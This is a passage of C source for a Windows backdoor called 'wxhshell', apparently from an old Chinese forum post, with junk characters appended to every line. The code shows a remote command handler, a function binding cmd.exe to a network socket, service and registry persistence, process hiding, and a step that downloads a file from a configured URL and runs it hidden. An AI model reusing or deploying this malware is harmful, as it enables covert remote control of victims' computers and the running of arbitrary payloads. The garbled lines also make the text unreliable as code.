  case '?': { ~6Odw GWV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8PG&/ " K  
    break; FGpV ]p  
  } J]Q-#g'Z  
  // 安装 SNHAL F  
  case 'i': { P>|sCF  
    if(Install()) 4%u\dTg/B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #"o`'5  
    else X8XE_VtP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2nSz0 .  
    break; @,pn/[  
    } H\|H]:CE  
  // 卸载 Jb8%A@Z+  
  case 'r': { Q:Y`^jP   
    if(Uninstall()) "m}N hoD4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m`@~ZIa?>B  
    else 7TZ,bD_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xQqZi b5I  
    break; G4uOY?0N  
    } ORfMp'uP=  
  // 显示 wxhshell 所在路径 ZYz8ul$E  
  case 'p': { ;#7:}>}rO  
    char svExeFile[MAX_PATH]; id/y_ekfP  
    strcpy(svExeFile,"\n\r"); df$pT?o  
      strcat(svExeFile,ExeFile); \T;(k?28HN  
        send(wsh,svExeFile,strlen(svExeFile),0); :&s8G*  
    break; C3C&hq\%  
    } `O?j -zR  
  // 重启 W{kTM4  
  case 'b': { [Lf8*U"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4&B|rf  
    if(Boot(REBOOT)) *+J`Yk7}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LO)QEUG  
    else { cvV8 ;  
    closesocket(wsh); ,B,0o*qc{K  
    ExitThread(0); BR~+CBH  
    } asYUb&Hz88  
    break; 1kh()IrA  
    } ^ pocbmg  
  // 关机 nA+gqY6 6|  
  case 'd': { 1]7v3m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p4Xhs@.k  
    if(Boot(SHUTDOWN)) kyD*b3MN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NcIr; }  
    else { k,r}X:<6jz  
    closesocket(wsh); Qgl5Jr.  
    ExitThread(0); k_ijVfI9  
    } P m|S>r  
    break; NF_[q(k'  
    } 2K{)8 ;^  
  // 获取shell !LpFK0rw  
  case 's': { , .uI>  
    CmdShell(wsh); .gw6W0\F  
    closesocket(wsh); 8oP"?ew#  
    ExitThread(0); x\5\KGw16  
    break; QV=|' S  
  } <T$rvS  
  // 退出 en16hd>^W:  
  case 'x': { AD"L>7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h{e?Fl  
    CloseIt(wsh); twql)lbx  
    break; qB3=wFI  
    } @P<Mc )o^  
  // 离开  `=I@W  
  case 'q': { ],f%: ?%50  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FW"gj\  
    closesocket(wsh); ? UBE0C  
    WSACleanup(); 5Yx 7Q:D  
    exit(1); 2 57q%"  
    break; ->&amPv  
        } '\Uy;,tu /  
  } WL<f!   
  } PE2O$:b\  
U~<~>^[  
  // 提示信息 k FE<M6a9@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J-~:W~Qx4N  
} h.aXW]]}(P  
  } r59BBW)M  
g|x* sZR~Y  
  return; #lx(F3  
} - !s=`9o  
`xFgYyiQd  
// shell模块句柄 TiSV`V q  
int CmdShell(SOCKET sock) ??g = `yH  
{ ]goPjfWvU"  
STARTUPINFO si; /Au7X'}  
ZeroMemory(&si,sizeof(si)); 3>k?-%"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /m+.5Qz9)@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dqw0ns.2  
PROCESS_INFORMATION ProcessInfo; mUwGr_)wj  
char cmdline[]="cmd"; X%Ta?(9|.^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ny 7vId  
  return 0; ^xF-IA#ZeB  
} *Q,9 [k  
s^-o_K\*c  
// 自身启动模式 o1rH@D6/-  
int StartFromService(void) :74G5U8%  
{ 5m rkw  
typedef struct EZ)GW%Bm2  
{ Ly`FU)  
  DWORD ExitStatus; qUG)+~g`  
  DWORD PebBaseAddress; QQX7p!~E  
  DWORD AffinityMask; XM?C7/^k  
  DWORD BasePriority; 3qrjb]E%}  
  ULONG UniqueProcessId; a*Ng+~5)6  
  ULONG InheritedFromUniqueProcessId; p/Lk'h~  
}   PROCESS_BASIC_INFORMATION; *!yY7 ~#  
^a;412  
PROCNTQSIP NtQueryInformationProcess; :X#'E Lo|  
vN`JP`IBx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ddvtBAX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rJc=&'{&)N  
?YhGW   
  HANDLE             hProcess; hbTJXP~~?  
  PROCESS_BASIC_INFORMATION pbi; (^LR9 CW  
Y j*Y*LB~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WlnS.P\+E  
  if(NULL == hInst ) return 0; ^1z)\p1  
=-n7/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8POLp9>X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lxOUV?m^N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p!2t/XIM  
5Q@4@b{C  
  if (!NtQueryInformationProcess) return 0; Ia*T*q Ju  
-v?)E S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <~35tOpv  
  if(!hProcess) return 0; MD=!a5'  
cW\Y1=Gv|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &%`0&y  
m7m)BX%O  
  CloseHandle(hProcess); SI/p8 ^  
T+)#Du  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aUEnQ%YU"  
if(hProcess==NULL) return 0; NC{8[*Kx5  
hZeF? G)L'  
HMODULE hMod; 4F?O5&329i  
char procName[255]; >7nOR  
unsigned long cbNeeded; Mg=R**s1x%  
f&`yiy_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kDK0L3}nr]  
EY'48S  
  CloseHandle(hProcess); 5tm:|.`SQ  
-Oc  
if(strstr(procName,"services")) return 1; // 以服务启动 lhduK4u  
qre(3,VE5  
  return 0; // 注册表启动 IyGW>g6_.  
} khfWU  
6eAJ >9@x  
// 主模块 =FXq=x%9+  
int StartWxhshell(LPSTR lpCmdLine) t{Gc,S!]5  
{ yo"!C?82=  
  SOCKET wsl; XF Wo"%}w  
BOOL val=TRUE; mA0|W#NB  
  int port=0; Gque@u  
  struct sockaddr_in door; </)QCl'd  
wVtBH_>  
  if(wscfg.ws_autoins) Install(); lyQNE3   
3d*wZ9qz  
port=atoi(lpCmdLine); 3\&I7o3V  
cg'z:_l  
if(port<=0) port=wscfg.ws_port; wTPHc:2  
#]FJx  
  WSADATA data; 8Hh= Sp^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1c}LX.9K  
2+qU9[kd|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    eAbp5}B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =z +iI;  
  door.sin_family = AF_INET; =U+_;;F=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q;H5S<]/  
  door.sin_port = htons(port); }X^CH2,R  
n% ={!WD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [,|;rt\o>  
closesocket(wsl); W3-g]#\?  
return 1; -{s9PZ3~_  
} XT~]pOE;D  
~mYCXfoc{  
  if(listen(wsl,2) == INVALID_SOCKET) { 299uZz}Y  
closesocket(wsl); %n:ymc $}  
return 1; pl5Q2zq%  
} pJPP6Be<  
  Wxhshell(wsl); W,sPg\G 3  
  WSACleanup(); Lo^gg#o  
<%EjrjdvL+  
return 0; ]:F?k#c  
\4roM1&[  
} Q804_F F#  
pQ9~^  
// 以NT服务方式启动 ^fxS=Qs+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TrmrA$5f  
{ WTQd}f  
DWORD   status = 0; <<[\ Rv  
  DWORD   specificError = 0xfffffff; -JfO} DRI  
[eO6 H2@=z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8c0ugM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [Cf{2WB:7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ck K9@RQ  
  serviceStatus.dwWin32ExitCode     = 0; XCQPVSh  
  serviceStatus.dwServiceSpecificExitCode = 0; /D ~UK"}  
  serviceStatus.dwCheckPoint       = 0; } {<L<  
  serviceStatus.dwWaitHint       = 0; uEcK0>xp  
"|W``&pM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XI58Cy*!  
  if (hServiceStatusHandle==0) return; =E4~/F}9/T  
b{hdEb  
status = GetLastError(); i@hW" [A  
  if (status!=NO_ERROR) 6V6,m4e  
{ Q"b62+03  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |!.VpN&  
    serviceStatus.dwCheckPoint       = 0; bx=9XZ9g  
    serviceStatus.dwWaitHint       = 0; HC/?o0  
    serviceStatus.dwWin32ExitCode     = status; s.9_/cFWB  
    serviceStatus.dwServiceSpecificExitCode = specificError;  $qyST  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7=[/J*-m  
    return; R?H[{A X  
  } =>,X)+O  
 NncII5z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &)#bdt[  
  serviceStatus.dwCheckPoint       = 0; =Z}=nS?4  
  serviceStatus.dwWaitHint       = 0; ,1|0]:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8/`ij?gn  
} <) ltvo(  
fT  
// 处理NT服务事件,比如:启动、停止 &VfMv'%x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >XK |jPK  
{ |&0zAP"\  
switch(fdwControl) #>\%7b59>  
{ T@\%h8@~]  
case SERVICE_CONTROL_STOP: Xwt}WSdF`k  
  serviceStatus.dwWin32ExitCode = 0; { K *  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9>hK4&m^  
  serviceStatus.dwCheckPoint   = 0; ?N(opggiD  
  serviceStatus.dwWaitHint     = 0; L|A.;Gq  
  { <A@qN95m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .YxcXe3#  
  } '(!U5j  
  return; ;iT ZzmB  
case SERVICE_CONTROL_PAUSE: 19 <Lgr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +N:=|u.g  
  break; LGPPyK Nx  
case SERVICE_CONTROL_CONTINUE: LQ3J$N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1JWo~E'  
  break; 9 `z^'k&  
case SERVICE_CONTROL_INTERROGATE: ;LE9w^>^V  
  break; >}'WL($5U  
}; W@FRKDixG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tB==v{t  
} `g!NFp9q  
Tmr %r'i3  
// 标准应用程序主函数 Cso-WG,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yi+$g  
{ z`KP }-  
&n-)Alx  
// 获取操作系统版本 e<1)KqG  
OsIsNt=GetOsVer(); +je{%,*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @]xH t&j  
d+Au`'{>  
  // 从命令行安装 :to1%6  
  if(strpbrk(lpCmdLine,"iI")) Install(); :Wl`8p4]  
\+Pk"M  
  // 下载执行文件 n>aH7  
if(wscfg.ws_downexe) { 68, (+vkB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gO,2:,  
  WinExec(wscfg.ws_filenam,SW_HIDE); x>m=n_  
} ~;P>}|6Y  
8xQjJ  
if(!OsIsNt) { q"|#KT^)  
// 如果时win9x,隐藏进程并且设置为注册表启动 p{S#>JTr  
HideProc(); k$v8cE  
StartWxhshell(lpCmdLine); 6;{E-y  
} 9 Z79  
else do&0m[x%  
  if(StartFromService()) _5&LV2  
  // 以服务方式启动 *Ph@XkhU  
  StartServiceCtrlDispatcher(DispatchTable); UcxMA%Pw7$  
else >nOzz0,  
  // 普通方式启动 +!Lz]@9K  
  StartWxhshell(lpCmdLine); hR(p{$-T  
unN=yeut  
return 0; FvaelB  
}
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只看该作者 1 发表于: 2006-10-10
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